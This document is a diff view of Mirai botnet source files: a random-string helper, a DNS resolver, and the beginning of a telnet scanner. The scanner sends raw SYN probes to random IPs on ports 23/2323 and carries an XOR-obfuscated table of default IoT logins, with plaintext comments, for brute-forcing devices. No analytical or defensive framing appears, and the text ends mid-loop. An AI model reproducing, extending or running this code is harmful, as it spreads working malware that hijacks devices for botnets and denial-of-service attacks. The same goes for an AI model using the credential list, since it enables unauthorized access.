|         if (len >= 4) | ||||
|         { | ||||
|             *((uint32_t *)str) = rand_next(); | ||||
|             str += sizeof (uint32_t); | ||||
|             len -= sizeof (uint32_t); | ||||
|         } | ||||
|         else if (len >= 2) | ||||
|         { | ||||
|             *((uint16_t *)str) = rand_next() & 0xFFFF; | ||||
|             str += sizeof (uint16_t); | ||||
|             len -= sizeof (uint16_t); | ||||
|         } | ||||
|         else | ||||
|         { | ||||
|             *str++ = rand_next() & 0xFF; | ||||
|             len--; | ||||
|         } | ||||
|     } | ||||
| } | ||||
|  | ||||
| void rand_alphastr(uint8_t *str, int len) // Random alphanumeric string, more expensive than rand_str | ||||
| { | ||||
|     const char alphaset[] = "abcdefghijklmnopqrstuvw012345678"; | ||||
|  | ||||
|     while (len > 0) | ||||
|     { | ||||
|         if (len >= sizeof (uint32_t)) | ||||
|         { | ||||
|             int i; | ||||
|             uint32_t entropy = rand_next(); | ||||
|  | ||||
|             for (i = 0; i < sizeof (uint32_t); i++) | ||||
|             { | ||||
|                 uint8_t tmp = entropy & 0xff; | ||||
|  | ||||
|                 entropy = entropy >> 8; | ||||
|                 tmp = tmp >> 3; | ||||
|  | ||||
|                 *str++ = alphaset[tmp]; | ||||
|             } | ||||
|             len -= sizeof (uint32_t); | ||||
|         } | ||||
|         else | ||||
|         { | ||||
|             *str++ = rand_next() % (sizeof (alphaset)); | ||||
|             len--; | ||||
|         } | ||||
|     } | ||||
| } | ||||
							
								
								
									
										10
									
								
								mirai/bot/rand.h
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										10
									
								
								mirai/bot/rand.h
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,10 @@ | ||||
| #pragma once | ||||
|  | ||||
| #include <stdint.h> | ||||
|  | ||||
| #define PHI 0x9e3779b9 | ||||
|  | ||||
| void rand_init(void); | ||||
| uint32_t rand_next(void); | ||||
| void rand_str(char *, int); | ||||
| void rand_alphastr(uint8_t *, int); | ||||
							
								
								
									
										237
									
								
								mirai/bot/resolv.c
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										237
									
								
								mirai/bot/resolv.c
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,237 @@ | ||||
| #define _GNU_SOURCE | ||||
|  | ||||
| #ifdef DEBUG | ||||
| #include <stdio.h> | ||||
| #endif | ||||
| #include <stdint.h> | ||||
| #include <stdlib.h> | ||||
| #include <unistd.h> | ||||
| #include <sys/socket.h> | ||||
| #include <arpa/inet.h> | ||||
| #include <fcntl.h> | ||||
| #include <sys/select.h> | ||||
| #include <errno.h> | ||||
|  | ||||
| #include "includes.h" | ||||
| #include "resolv.h" | ||||
| #include "util.h" | ||||
| #include "rand.h" | ||||
| #include "protocol.h" | ||||
|  | ||||
| void resolv_domain_to_hostname(char *dst_hostname, char *src_domain) | ||||
| { | ||||
|     int len = util_strlen(src_domain) + 1; | ||||
|     char *lbl = dst_hostname, *dst_pos = dst_hostname + 1; | ||||
|     uint8_t curr_len = 0; | ||||
|  | ||||
|     while (len-- > 0) | ||||
|     { | ||||
|         char c = *src_domain++; | ||||
|  | ||||
|         if (c == '.' || c == 0) | ||||
|         { | ||||
|             *lbl = curr_len; | ||||
|             lbl = dst_pos++; | ||||
|             curr_len = 0; | ||||
|         } | ||||
|         else | ||||
|         { | ||||
|             curr_len++; | ||||
|             *dst_pos++ = c; | ||||
|         } | ||||
|     } | ||||
|     *dst_pos = 0; | ||||
| } | ||||
|  | ||||
| static void resolv_skip_name(uint8_t *reader, uint8_t *buffer, int *count) | ||||
| { | ||||
|     unsigned int jumped = 0, offset; | ||||
|     *count = 1; | ||||
|     while(*reader != 0) | ||||
|     { | ||||
|         if(*reader >= 192) | ||||
|         { | ||||
|             offset = (*reader)*256 + *(reader+1) - 49152; | ||||
|             reader = buffer + offset - 1; | ||||
|             jumped = 1; | ||||
|         } | ||||
|         reader = reader+1; | ||||
|         if(jumped == 0) | ||||
|             *count = *count + 1; | ||||
|     } | ||||
|  | ||||
|     if(jumped == 1) | ||||
|         *count = *count + 1; | ||||
| } | ||||
|  | ||||
| struct resolv_entries *resolv_lookup(char *domain) | ||||
| { | ||||
|     struct resolv_entries *entries = calloc(1, sizeof (struct resolv_entries)); | ||||
|     char query[2048], response[2048]; | ||||
|     struct dnshdr *dnsh = (struct dnshdr *)query; | ||||
|     char *qname = (char *)(dnsh + 1); | ||||
|  | ||||
|     resolv_domain_to_hostname(qname, domain); | ||||
|  | ||||
|     struct dns_question *dnst = (struct dns_question *)(qname + util_strlen(qname) + 1); | ||||
|     struct sockaddr_in addr = {0}; | ||||
|     int query_len = sizeof (struct dnshdr) + util_strlen(qname) + 1 + sizeof (struct dns_question); | ||||
|     int tries = 0, fd = -1, i = 0; | ||||
|     uint16_t dns_id = rand_next() % 0xffff; | ||||
|  | ||||
|     util_zero(&addr, sizeof (struct sockaddr_in)); | ||||
|     addr.sin_family = AF_INET; | ||||
|     addr.sin_addr.s_addr = INET_ADDR(8,8,8,8); | ||||
|     addr.sin_port = htons(53); | ||||
|  | ||||
|     // Set up the dns query | ||||
|     dnsh->id = dns_id; | ||||
|     dnsh->opts = htons(1 << 8); // Recursion desired | ||||
|     dnsh->qdcount = htons(1); | ||||
|     dnst->qtype = htons(PROTO_DNS_QTYPE_A); | ||||
|     dnst->qclass = htons(PROTO_DNS_QCLASS_IP); | ||||
|  | ||||
|     while (tries++ < 5) | ||||
|     { | ||||
|         fd_set fdset; | ||||
|         struct timeval timeo; | ||||
|         int nfds; | ||||
|  | ||||
|         if (fd != -1) | ||||
|             close(fd); | ||||
|         if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) | ||||
|         { | ||||
| #ifdef DEBUG | ||||
|             printf("[resolv] Failed to create socket\n"); | ||||
| #endif | ||||
|             sleep(1); | ||||
|             continue; | ||||
|         } | ||||
|  | ||||
|         if (connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1) | ||||
|         { | ||||
| #ifdef DEBUG | ||||
|             printf("[resolv] Failed to call connect on udp socket\n"); | ||||
| #endif | ||||
|             sleep(1); | ||||
|             continue; | ||||
|         } | ||||
|  | ||||
|         if (send(fd, query, query_len, MSG_NOSIGNAL) == -1) | ||||
|         { | ||||
| #ifdef DEBUG | ||||
|             printf("[resolv] Failed to send packet: %d\n", errno); | ||||
| #endif | ||||
|             sleep(1); | ||||
|             continue; | ||||
|         } | ||||
|  | ||||
|         fcntl(F_SETFL, fd, O_NONBLOCK | fcntl(F_GETFL, fd, 0)); | ||||
|         FD_ZERO(&fdset); | ||||
|         FD_SET(fd, &fdset); | ||||
|  | ||||
|         timeo.tv_sec = 5; | ||||
|         timeo.tv_usec = 0; | ||||
|         nfds = select(fd + 1, &fdset, NULL, NULL, &timeo); | ||||
|  | ||||
|         if (nfds == -1) | ||||
|         { | ||||
| #ifdef DEBUG | ||||
|             printf("[resolv] select() failed\n"); | ||||
| #endif | ||||
|             break; | ||||
|         } | ||||
|         else if (nfds == 0) | ||||
|         { | ||||
| #ifdef DEBUG | ||||
|             printf("[resolv] Couldn't resolve %s in time. %d tr%s\n", domain, tries, tries == 1 ? "y" : "ies"); | ||||
| #endif | ||||
|             continue; | ||||
|         } | ||||
|         else if (FD_ISSET(fd, &fdset)) | ||||
|         { | ||||
| #ifdef DEBUG | ||||
|             printf("[resolv] Got response from select\n"); | ||||
| #endif | ||||
|             int ret = recvfrom(fd, response, sizeof (response), MSG_NOSIGNAL, NULL, NULL); | ||||
|             char *name; | ||||
|             struct dnsans *dnsa; | ||||
|             uint16_t ancount; | ||||
|             int stop; | ||||
|  | ||||
|             if (ret < (sizeof (struct dnshdr) + util_strlen(qname) + 1 + sizeof (struct dns_question))) | ||||
|                 continue; | ||||
|  | ||||
|             dnsh = (struct dnshdr *)response; | ||||
|             qname = (char *)(dnsh + 1); | ||||
|             dnst = (struct dns_question *)(qname + util_strlen(qname) + 1); | ||||
|             name = (char *)(dnst + 1); | ||||
|  | ||||
|             if (dnsh->id != dns_id) | ||||
|                 continue; | ||||
|             if (dnsh->ancount == 0) | ||||
|                 continue; | ||||
|  | ||||
|             ancount = ntohs(dnsh->ancount); | ||||
|             while (ancount-- > 0) | ||||
|             { | ||||
|                 struct dns_resource *r_data = NULL; | ||||
|  | ||||
|                 resolv_skip_name(name, response, &stop); | ||||
|                 name = name + stop; | ||||
|  | ||||
|                 r_data = (struct dns_resource *)name; | ||||
|                 name = name + sizeof(struct dns_resource); | ||||
|  | ||||
|                 if (r_data->type == htons(PROTO_DNS_QTYPE_A) && r_data->_class == htons(PROTO_DNS_QCLASS_IP)) | ||||
|                 { | ||||
|                     if (ntohs(r_data->data_len) == 4) | ||||
|                     { | ||||
|                         uint32_t *p; | ||||
|                         uint8_t tmp_buf[4]; | ||||
|                         for(i = 0; i < 4; i++) | ||||
|                             tmp_buf[i] = name[i]; | ||||
|  | ||||
|                         p = (uint32_t *)tmp_buf; | ||||
|  | ||||
|                         entries->addrs = realloc(entries->addrs, (entries->addrs_len + 1) * sizeof (ipv4_t)); | ||||
|                         entries->addrs[entries->addrs_len++] = (*p); | ||||
| #ifdef DEBUG | ||||
|                         printf("[resolv] Found IP address: %08x\n", (*p)); | ||||
| #endif | ||||
|                     } | ||||
|  | ||||
|                     name = name + ntohs(r_data->data_len); | ||||
|                 } else { | ||||
|                     resolv_skip_name(name, response, &stop); | ||||
|                     name = name + stop; | ||||
|                 } | ||||
|             } | ||||
|         } | ||||
|  | ||||
|         break; | ||||
|     } | ||||
|  | ||||
|     close(fd); | ||||
|  | ||||
| #ifdef DEBUG | ||||
|     printf("Resolved %s to %d IPv4 addresses\n", domain, entries->addrs_len); | ||||
| #endif | ||||
|  | ||||
|     if (entries->addrs_len > 0) | ||||
|         return entries; | ||||
|     else | ||||
|     { | ||||
|         resolv_entries_free(entries); | ||||
|         return NULL; | ||||
|     } | ||||
| } | ||||
|  | ||||
| void resolv_entries_free(struct resolv_entries *entries) | ||||
| { | ||||
|     if (entries == NULL) | ||||
|         return; | ||||
|     if (entries->addrs != NULL) | ||||
|         free(entries->addrs); | ||||
|     free(entries); | ||||
| } | ||||
							
								
								
									
										12
									
								
								mirai/bot/resolv.h
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										12
									
								
								mirai/bot/resolv.h
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,12 @@ | ||||
| #pragma once | ||||
|  | ||||
| #include "includes.h" | ||||
|  | ||||
| struct resolv_entries { | ||||
|     uint8_t addrs_len; | ||||
|     ipv4_t *addrs; | ||||
| }; | ||||
|  | ||||
| void resolv_domain_to_hostname(char *, char *); | ||||
| struct resolv_entries *resolv_lookup(char *); | ||||
| void resolv_entries_free(struct resolv_entries *); | ||||
							
								
								
									
										991
									
								
								mirai/bot/scanner.c
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										991
									
								
								mirai/bot/scanner.c
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,991 @@ | ||||
| #define _GNU_SOURCE | ||||
|  | ||||
| #ifdef MIRAI_TELNET | ||||
|  | ||||
| #ifdef DEBUG | ||||
| #include <stdio.h> | ||||
| #endif | ||||
| #include <unistd.h> | ||||
| #include <stdlib.h> | ||||
| #include <sys/socket.h> | ||||
| #include <arpa/inet.h> | ||||
| #include <sys/select.h> | ||||
| #include <sys/types.h> | ||||
| #include <time.h> | ||||
| #include <fcntl.h> | ||||
| #include <signal.h> | ||||
| #include <errno.h> | ||||
| #include <string.h> | ||||
| #include <linux/ip.h> | ||||
| #include <linux/tcp.h> | ||||
|  | ||||
| #include "includes.h" | ||||
| #include "scanner.h" | ||||
| #include "table.h" | ||||
| #include "rand.h" | ||||
| #include "util.h" | ||||
| #include "checksum.h" | ||||
| #include "resolv.h" | ||||
|  | ||||
| int scanner_pid, rsck, rsck_out, auth_table_len = 0; | ||||
| char scanner_rawpkt[sizeof (struct iphdr) + sizeof (struct tcphdr)] = {0}; | ||||
| struct scanner_auth *auth_table = NULL; | ||||
| struct scanner_connection *conn_table; | ||||
| uint16_t auth_table_max_weight = 0; | ||||
| uint32_t fake_time = 0; | ||||
|  | ||||
| int recv_strip_null(int sock, void *buf, int len, int flags) | ||||
| { | ||||
|     int ret = recv(sock, buf, len, flags); | ||||
|  | ||||
|     if (ret > 0) | ||||
|     { | ||||
|         int i = 0; | ||||
|  | ||||
|         for(i = 0; i < ret; i++) | ||||
|         { | ||||
|             if (((char *)buf)[i] == 0x00) | ||||
|             { | ||||
|                 ((char *)buf)[i] = 'A'; | ||||
|             } | ||||
|         } | ||||
|     } | ||||
|  | ||||
|     return ret; | ||||
| } | ||||
|  | ||||
| void scanner_init(void) | ||||
| { | ||||
|     int i; | ||||
|     uint16_t source_port; | ||||
|     struct iphdr *iph; | ||||
|     struct tcphdr *tcph; | ||||
|  | ||||
|     // Let parent continue on main thread | ||||
|     scanner_pid = fork(); | ||||
|     if (scanner_pid > 0 || scanner_pid == -1) | ||||
|         return; | ||||
|  | ||||
|     LOCAL_ADDR = util_local_addr(); | ||||
|  | ||||
|     rand_init(); | ||||
|     fake_time = time(NULL); | ||||
|     conn_table = calloc(SCANNER_MAX_CONNS, sizeof (struct scanner_connection)); | ||||
|     for (i = 0; i < SCANNER_MAX_CONNS; i++) | ||||
|     { | ||||
|         conn_table[i].state = SC_CLOSED; | ||||
|         conn_table[i].fd = -1; | ||||
|     } | ||||
|  | ||||
|     // Set up raw socket scanning and payload | ||||
|     if ((rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("[scanner] Failed to initialize raw socket, cannot scan\n"); | ||||
| #endif | ||||
|         exit(0); | ||||
|     } | ||||
|     fcntl(rsck, F_SETFL, O_NONBLOCK | fcntl(rsck, F_GETFL, 0)); | ||||
|     i = 1; | ||||
|     if (setsockopt(rsck, IPPROTO_IP, IP_HDRINCL, &i, sizeof (i)) != 0) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("[scanner] Failed to set IP_HDRINCL, cannot scan\n"); | ||||
| #endif | ||||
|         close(rsck); | ||||
|         exit(0); | ||||
|     } | ||||
|  | ||||
|     do | ||||
|     { | ||||
|         source_port = rand_next() & 0xffff; | ||||
|     } | ||||
|     while (ntohs(source_port) < 1024); | ||||
|  | ||||
|     iph = (struct iphdr *)scanner_rawpkt; | ||||
|     tcph = (struct tcphdr *)(iph + 1); | ||||
|  | ||||
|     // Set up IPv4 header | ||||
|     iph->ihl = 5; | ||||
|     iph->version = 4; | ||||
|     iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr)); | ||||
|     iph->id = rand_next(); | ||||
|     iph->ttl = 64; | ||||
|     iph->protocol = IPPROTO_TCP; | ||||
|  | ||||
|     // Set up TCP header | ||||
|     tcph->dest = htons(23); | ||||
|     tcph->source = source_port; | ||||
|     tcph->doff = 5; | ||||
|     tcph->window = rand_next() & 0xffff; | ||||
|     tcph->syn = TRUE; | ||||
|  | ||||
|     // Set up passwords | ||||
|     add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10);                     // root     xc3511 | ||||
|     add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9);                          // root     vizxv | ||||
|     add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8);                          // root     admin | ||||
|     add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7);                      // admin    admin | ||||
|     add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6);                      // root     888888 | ||||
|     add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5);                  // root     xmhdipc | ||||
|     add_auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5);                  // root     default | ||||
|     add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5);              // root     juantech | ||||
|     add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17\x14", 5);                      // root     123456 | ||||
|     add_auth_entry("\x50\x4D\x4D\x56", "\x17\x16\x11\x10\x13", 5);                          // root     54321 | ||||
|     add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x50\x56", 5);      // support  support | ||||
|     add_auth_entry("\x50\x4D\x4D\x56", "", 4);                                              // root     (none) | ||||
|     add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51\x55\x4D\x50\x46", 4);          // admin    password | ||||
|     add_auth_entry("\x50\x4D\x4D\x56", "\x50\x4D\x4D\x56", 4);                              // root     root | ||||
|     add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17", 4);                          // root     12345 | ||||
|     add_auth_entry("\x57\x51\x47\x50", "\x57\x51\x47\x50", 3);                              // user     user | ||||
|     add_auth_entry("\x43\x46\x4F\x4B\x4C", "", 3);                                          // admin    (none) | ||||
|     add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51", 3);                              // root     pass | ||||
|     add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C\x13\x10\x11\x16", 3);      // admin    admin1234 | ||||
|     add_auth_entry("\x50\x4D\x4D\x56", "\x13\x13\x13\x13", 3);                              // root     1111 | ||||
|     add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x51\x4F\x41\x43\x46\x4F\x4B\x4C", 3);          // admin    smcadmin | ||||
|     add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13", 2);                          // admin    1111 | ||||
|     add_auth_entry("\x50\x4D\x4D\x56", "\x14\x14\x14\x14\x14\x14", 2);                      // root     666666 | ||||
|     add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51\x55\x4D\x50\x46", 2);              // root     password | ||||
|     add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16", 2);                              // root     1234 | ||||
|     add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11", 1);                      // root     klv123 | ||||
|     add_auth_entry("\x63\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x4F\x47\x4B\x4C\x51\x4F", 1); // Administrator admin | ||||
|     add_auth_entry("\x51\x47\x50\x54\x4B\x41\x47", "\x51\x47\x50\x54\x4B\x41\x47", 1);      // service  service | ||||
|     add_auth_entry("\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", "\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", 1); // supervisor supervisor | ||||
|     add_auth_entry("\x45\x57\x47\x51\x56", "\x45\x57\x47\x51\x56", 1);                      // guest    guest | ||||
|     add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1);                      // guest    12345 | ||||
|     add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1);                      // guest    12345 | ||||
|     add_auth_entry("\x43\x46\x4F\x4B\x4C\x13", "\x52\x43\x51\x51\x55\x4D\x50\x46", 1);      // admin1   password | ||||
|     add_auth_entry("\x43\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x13\x10\x11\x16", 1); // administrator 1234 | ||||
|     add_auth_entry("\x14\x14\x14\x14\x14\x14", "\x14\x14\x14\x14\x14\x14", 1);              // 666666   666666 | ||||
|     add_auth_entry("\x1A\x1A\x1A\x1A\x1A\x1A", "\x1A\x1A\x1A\x1A\x1A\x1A", 1);              // 888888   888888 | ||||
|     add_auth_entry("\x57\x40\x4C\x56", "\x57\x40\x4C\x56", 1);                              // ubnt     ubnt | ||||
|     add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11\x16", 1);                  // root     klv1234 | ||||
|     add_auth_entry("\x50\x4D\x4D\x56", "\x78\x56\x47\x17\x10\x13", 1);                      // root     Zte521 | ||||
|     add_auth_entry("\x50\x4D\x4D\x56", "\x4A\x4B\x11\x17\x13\x1A", 1);                      // root     hi3518 | ||||
|     add_auth_entry("\x50\x4D\x4D\x56", "\x48\x54\x40\x58\x46", 1);                          // root     jvbzd | ||||
|     add_auth_entry("\x50\x4D\x4D\x56", "\x43\x4C\x49\x4D", 4);                              // root     anko | ||||
|     add_auth_entry("\x50\x4D\x4D\x56", "\x58\x4E\x5A\x5A\x0C", 1);                          // root     zlxx. | ||||
|     add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x54\x4B\x58\x5A\x54", 1); // root     7ujMko0vizxv | ||||
|     add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // root     7ujMko0admin | ||||
|     add_auth_entry("\x50\x4D\x4D\x56", "\x51\x5B\x51\x56\x47\x4F", 1);                      // root     system | ||||
|     add_auth_entry("\x50\x4D\x4D\x56", "\x4B\x49\x55\x40", 1);                              // root     ikwb | ||||
|     add_auth_entry("\x50\x4D\x4D\x56", "\x46\x50\x47\x43\x4F\x40\x4D\x5A", 1);              // root     dreambox | ||||
|     add_auth_entry("\x50\x4D\x4D\x56", "\x57\x51\x47\x50", 1);                              // root     user | ||||
|     add_auth_entry("\x50\x4D\x4D\x56", "\x50\x47\x43\x4E\x56\x47\x49", 1);                  // root     realtek | ||||
|     add_auth_entry("\x50\x4D\x4D\x56", "\x12\x12\x12\x12\x12\x12\x12\x12", 1);              // root     00000000 | ||||
|     add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13\x13\x13\x13", 1);              // admin    1111111 | ||||
|     add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16", 1);                          // admin    1234 | ||||
|     add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17", 1);                      // admin    12345 | ||||
|     add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x17\x16\x11\x10\x13", 1);                      // admin    54321 | ||||
|     add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17\x14", 1);                  // admin    123456 | ||||
|     add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // admin    7ujMko0admin | ||||
|     add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x16\x11\x10\x13", 1);                          // admin    1234 | ||||
|     add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51", 1);                          // admin    pass | ||||
|     add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x4F\x47\x4B\x4C\x51\x4F", 1);                  // admin    meinsm | ||||
|     add_auth_entry("\x56\x47\x41\x4A", "\x56\x47\x41\x4A", 1);                              // tech     tech | ||||
|     add_auth_entry("\x4F\x4D\x56\x4A\x47\x50", "\x44\x57\x41\x49\x47\x50", 1);              // mother   fucker | ||||
|  | ||||
|  | ||||
| #ifdef DEBUG | ||||
|     printf("[scanner] Scanner process initialized. Scanning started.\n"); | ||||
| #endif | ||||
|  | ||||
|     // Main logic loop | ||||
|     while (TRUE) | ||||
|     { | ||||
|         fd_set fdset_rd, fdset_wr; | ||||
|         struct scanner_connection *conn; | ||||
|         struct timeval tim; | ||||
|         int last_avail_conn, last_spew, mfd_rd = 0, mfd_wr = 0, nfds; | ||||
|  | ||||
|         // Spew out SYN to try and get a response | ||||
|         if (fake_time != last_spew) | ||||
|         { | ||||
|             last_spew = fake_time; | ||||
|  | ||||
|             for (i = 0; i < SCANNER_RAW_PPS; i++) | ||||
|             { | ||||
|                 struct sockaddr_in paddr = {0}; | ||||
|                 struct iphdr *iph = (struct iphdr *)scanner_rawpkt; | ||||
|                 struct tcphdr *tcph = (struct tcphdr *)(iph + 1); | ||||
|  | ||||
|                 iph->id = rand_next(); | ||||
|                 iph->saddr = LOCAL_ADDR; | ||||
|                 iph->daddr = get_random_ip(); | ||||
|                 iph->check = 0; | ||||
|                 iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr)); | ||||
|  | ||||
|                 if (i % 10 == 0) | ||||
|                 { | ||||
|                     tcph->dest = htons(2323); | ||||
|                 } | ||||
|                 else | ||||
|                 { | ||||
|                     tcph->dest = htons(23); | ||||
|                 } | ||||
|                 tcph->seq = iph->daddr; | ||||
|                 tcph->check = 0; | ||||
|                 tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr)), sizeof (struct tcphdr)); | ||||
|  | ||||
|                 paddr.sin_family = AF_INET; | ||||
|                 paddr.sin_addr.s_addr = iph->daddr; | ||||
|                 paddr.sin_port = tcph->dest; | ||||
|  | ||||
|                 sendto(rsck, scanner_rawpkt, sizeof (scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof (paddr)); | ||||
|             } | ||||
|         } | ||||
|  | ||||
|         // Read packets from raw socket to get SYN+ACKs | ||||
|         last_avail_conn = 0; | ||||
|         while (TRUE) | ||||
|         { | ||||
|             int n; | ||||
|             char dgram[1514]; | ||||
|             struct iphdr *iph = (struct iphdr *)dgram; | ||||
|             struct tcphdr *tcph = (struct tcphdr *)(iph + 1); | ||||
|             struct scanner_connection *conn; | ||||
|  | ||||
|             errno = 0; | ||||
|             n = recvfrom(rsck, dgram, sizeof (dgram), MSG_NOSIGNAL, NULL, NULL); | ||||
|             if (n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK) | ||||
|                 break; | ||||
|  | ||||
|             if (n < sizeof(struct iphdr) + sizeof(struct tcphdr)) | ||||
|                 continue; | ||||
|             if (iph->daddr != LOCAL_ADDR) | ||||
|                 continue; | ||||
|             if (iph->protocol != IPPROTO_TCP) | ||||
|                 continue; | ||||
|             if (tcph->source != htons(23) && tcph->source != htons(2323)) | ||||
|                 continue; | ||||
|             if (tcph->dest != source_port) | ||||
|                 continue; | ||||
|             if (!tcph->syn) | ||||
|                 continue; | ||||
|             if (!tcph->ack) | ||||
|                 continue; | ||||
|             if (tcph->rst) | ||||
|                 continue; | ||||
|             if (tcph->fin) | ||||
|                 continue; | ||||
|             if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr) | ||||
|                 continue; | ||||
|  | ||||
|             conn = NULL; | ||||
|             for (n = last_avail_conn; n < SCANNER_MAX_CONNS; n++) | ||||
|             { | ||||
|                 if (conn_table[n].state == SC_CLOSED) | ||||
|                 { | ||||
|                     conn = &conn_table[n]; | ||||
|                     last_avail_conn = n; | ||||
|                     break; | ||||
|                 } | ||||
|             } | ||||
|  | ||||
|             // If there were no slots, then no point reading any more | ||||
|             if (conn == NULL) | ||||
|                 break; | ||||
|  | ||||
|             conn->dst_addr = iph->saddr; | ||||
|             conn->dst_port = tcph->source; | ||||
|             setup_connection(conn); | ||||
| #ifdef DEBUG | ||||
|             printf("[scanner] FD%d Attempting to brute found IP %d.%d.%d.%d\n", conn->fd, iph->saddr & 0xff, (iph->saddr >> 8) & 0xff, (iph->saddr >> 16) & 0xff, (iph->saddr >> 24) & 0xff); | ||||
| #endif | ||||
|         } | ||||
|  | ||||
|         // Load file descriptors into fdsets | ||||
|         FD_ZERO(&fdset_rd); | ||||
|         FD_ZERO(&fdset_wr); | ||||
|         for (i = 0; i < SCANNER_MAX_CONNS; i++) | ||||
|         { | ||||
|             int timeout; | ||||
|  | ||||
|             conn = &conn_table[i]; | ||||
|             timeout = (conn->state > SC_CONNECTING ? 30 : 5); | ||||
|  | ||||
|             if (conn->state != SC_CLOSED && (fake_time - conn->last_recv) > timeout) | ||||
|             { | ||||
| #ifdef DEBUG | ||||
|                 printf("[scanner] FD%d timed out (state = %d)\n", conn->fd, conn->state); | ||||
| #endif | ||||
|                 close(conn->fd); | ||||
|                 conn->fd = -1; | ||||
|  | ||||
|                 // Retry | ||||
|                 if (conn->state > SC_HANDLE_IACS) // If we were at least able to connect, try again | ||||
|                 { | ||||
|                     if (++(conn->tries) == 10) | ||||
|                     { | ||||
|                         conn->tries = 0; | ||||
|                         conn->state = SC_CLOSED; | ||||
|                     } | ||||
|                     else | ||||
|                     { | ||||
|                         setup_connection(conn); | ||||
| #ifdef DEBUG | ||||
|                         printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd); | ||||
| #endif | ||||
|                     } | ||||
|                 } | ||||
|                 else | ||||
|                 { | ||||
|                     conn->tries = 0; | ||||
|                     conn->state = SC_CLOSED; | ||||
|                 } | ||||
|                 continue; | ||||
|             } | ||||
|  | ||||
|             if (conn->state == SC_CONNECTING) | ||||
|             { | ||||
|                 FD_SET(conn->fd, &fdset_wr); | ||||
|                 if (conn->fd > mfd_wr) | ||||
|                     mfd_wr = conn->fd; | ||||
|             } | ||||
|             else if (conn->state != SC_CLOSED) | ||||
|             { | ||||
|                 FD_SET(conn->fd, &fdset_rd); | ||||
|                 if (conn->fd > mfd_rd) | ||||
|                     mfd_rd = conn->fd; | ||||
|             } | ||||
|         } | ||||
|  | ||||
|         tim.tv_usec = 0; | ||||
|         tim.tv_sec = 1; | ||||
|         nfds = select(1 + (mfd_wr > mfd_rd ? mfd_wr : mfd_rd), &fdset_rd, &fdset_wr, NULL, &tim); | ||||
|         fake_time = time(NULL); | ||||
|  | ||||
|         for (i = 0; i < SCANNER_MAX_CONNS; i++) | ||||
|         { | ||||
|             conn = &conn_table[i]; | ||||
|  | ||||
|             if (conn->fd == -1) | ||||
|                 continue; | ||||
|  | ||||
|             if (FD_ISSET(conn->fd, &fdset_wr)) | ||||
|             { | ||||
|                 int err = 0, ret = 0; | ||||
